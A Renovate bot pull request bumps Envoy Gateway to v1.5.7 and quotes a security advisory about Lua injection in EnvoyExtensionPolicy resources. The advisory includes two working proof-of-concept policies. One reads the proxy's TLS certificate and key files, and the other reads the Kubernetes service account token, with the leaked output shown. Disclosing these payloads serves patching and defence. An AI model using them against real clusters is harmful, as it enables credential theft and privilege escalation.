Skip to content

fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security]#577

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-envoyproxy-gateway-vulnerability
Open

fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security]#577
renovate[bot] wants to merge 1 commit intomainfrom
renovate/go-github.com-envoyproxy-gateway-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Jan 13, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
github.com/envoyproxy/gateway v1.4.2v1.5.7 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Envoy Extension Policy lua scripts injection causes arbitrary command execution

CVE-2026-22771 / GHSA-xrwg-mqj6-6m22

More information

Details

Impact

Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:

  • An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
  • Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open("/certs/tls.crt", "r")
             local content
             if cert then
                content = cert:read("*all")
                cert:close()
             else
                content = "file-not-found"
             end
             local keyfile = io.open("/certs/tls.key", "r")
             local contentkey
             if keyfile then
                contentkey = keyfile:read("*all")
                keyfile:close()
             else
                contentkey = "file-not-found"
             end
             local keypair = contentkey .. "\n" .. content
             response_handle:body():setBytes(keypair)
             response_handle:headers():replace("content-length", tostring(#keypair))
             response_handle:headers():replace("content-type", "text/plain")
           end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Results in:

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
[...]
status:
  ancestors:
    - ancestorRef:
        group: gateway.networking.k8s.io
        kind: Gateway
        name: eg
        namespace: default
      conditions:
        - lastTransitionTime: "..."
          message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
        traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
        in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

Patches

The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:

  • Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
  • Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
  • Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
Workarounds

Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

envoyproxy/gateway (github.com/envoyproxy/gateway)

v1.5.7

Compare Source

Release Announcement

Check out the v1.5.7 release notes to learn more about the release.

v1.5.6

Compare Source

Release Announcement

Check out the v1.5.6 release notes to learn more about the release.

v1.5.5

Compare Source

Release Announcement

Check out the v1.5.5 release notes to learn more about the release.

v1.5.4

Compare Source

Release Announcement

Check out the v1.5.4 release notes to learn more about the release.

v1.5.3

Compare Source

Release Announcement

Check out the v1.5.3 release notes to learn more about the release.

v1.5.2

Compare Source

Release Announcement

Check out the v1.5.2 release notes to learn more about the release.

v1.5.1

Compare Source

Release Announcement

Check out the v1.5.1 release notes to learn more about the release.

v1.5.0

Release Announcement

Check out the v1.5 release announcement to learn more about the release.

What's Changed

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Copy Markdown
Contributor Author

renovate Bot commented Jan 13, 2026

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 4 additional dependencies were updated

Details:

Package Change
github.com/pelletier/go-toml/v2 v2.2.3 -> v2.2.4
github.com/stoewer/go-strcase v1.3.0 -> v1.3.1
github.com/tetratelabs/wazero v1.8.2 -> v1.9.0
gomodules.xyz/jsonpatch/v2 v2.4.0 -> v2.5.0

@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch 2 times, most recently from 7b984a0 to 25a28e4 Compare January 30, 2026 01:35
@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch from 25a28e4 to 7ca79d4 Compare February 24, 2026 12:43
@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch from 7ca79d4 to 088cedf Compare March 19, 2026 17:29
@renovate renovate Bot changed the title fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/go-github.com-envoyproxy-gateway-vulnerability branch March 27, 2026 01:51
@renovate renovate Bot changed the title fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] - autoclosed fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch 4 times, most recently from 380c4ff to 37d2664 Compare April 3, 2026 01:27
@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch from 37d2664 to 75c7572 Compare April 16, 2026 16:15
@renovate renovate Bot changed the title fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] - autoclosed fix(deps): update module github.com/envoyproxy/gateway to v1.5.7 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/go-github.com-envoyproxy-gateway-vulnerability branch 2 times, most recently from 75c7572 to b357831 Compare April 27, 2026 22:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants